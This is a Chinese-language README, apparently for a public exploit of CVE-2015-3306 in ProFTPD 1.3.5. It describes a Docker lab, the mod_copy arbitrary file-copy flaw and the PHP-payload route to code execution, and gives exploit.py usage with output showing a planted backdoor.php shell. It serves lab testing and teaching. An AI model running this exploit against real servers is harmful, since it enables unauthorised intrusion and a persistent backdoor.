ProFTPD 是一个高度可配置的 FTP 守护进程,适用于 Unix 及类 Unix 操作系统。ProFTPD 源于对安全且可配置的 FTP 服务器的需求,其灵感来自对 Apache Web 服务器的极大推崇。与大多数其他 Unix FTP 服务器不同,它并非源自旧的 BSD ftpd 代码库,而是全新的设计与实现。
要为你的测试搭建一个脆弱环境,你需要安装 Docker,然后运行以下命令:
docker build -t vuln/cve-2015-3306 .
docker run --rm -it -p 21:21 -p 80:80 vuln/cve-2015-3306
它将在你主机的 21 和 80 端口上启动一个易受攻击的应用。
ProFTPD 1.3.5 中的 mod_copy 模块允许远程攻击者通过 site cpfr 和 site cpto 命令读写任意文件。
任何未认证的客户端都可以利用这些命令将文件从文件系统的任何位置复制到指定的目标位置。复制命令以 ProFTPD 服务的权限执行,默认情况下该服务以 'nobody' 用户的权限运行。通过使用 /proc/self/cmdline 将 PHP 有效负载复制到网站目录,可以实现 PHP 远程代码执行。
要利用此目标,只需运行:
./exploit.py --host HOST --port PORT --path PATH
如果你使用此脆弱镜像,可以直接运行:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
利用成功后,一个名为 backdoor.php 的文件将被存储在网站目录的根文件夹中。该漏洞利用程序会为你提供一个 shell,你可以通过它向后门发送命令:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
[+] CVE-2015-3306 exploit by t0kx
[+] Exploiting 127.0.0.1:21
[+] Target exploited, acessing shell at http://127.0.0.1/backdoor.php
[+] Running whoami: www-data
[+] Done
此漏洞由 Vadim Melihow 发现。
本程序及之前的程序仅供教育目的使用。未经许可请勿使用。通常的免责声明同样适用,特别是本人(t0kx)不对因直接或间接使用这些程序提供的信息或功能而造成的任何损害承担责任。作者或任何互联网提供商对这些程序或其衍生程序的任何内容或滥用概不负责。使用这些程序即表示您接受以下事实:因使用这些程序而造成的任何损害(数据丢失、系统崩溃、系统入侵等)均非 t0kx 的责任。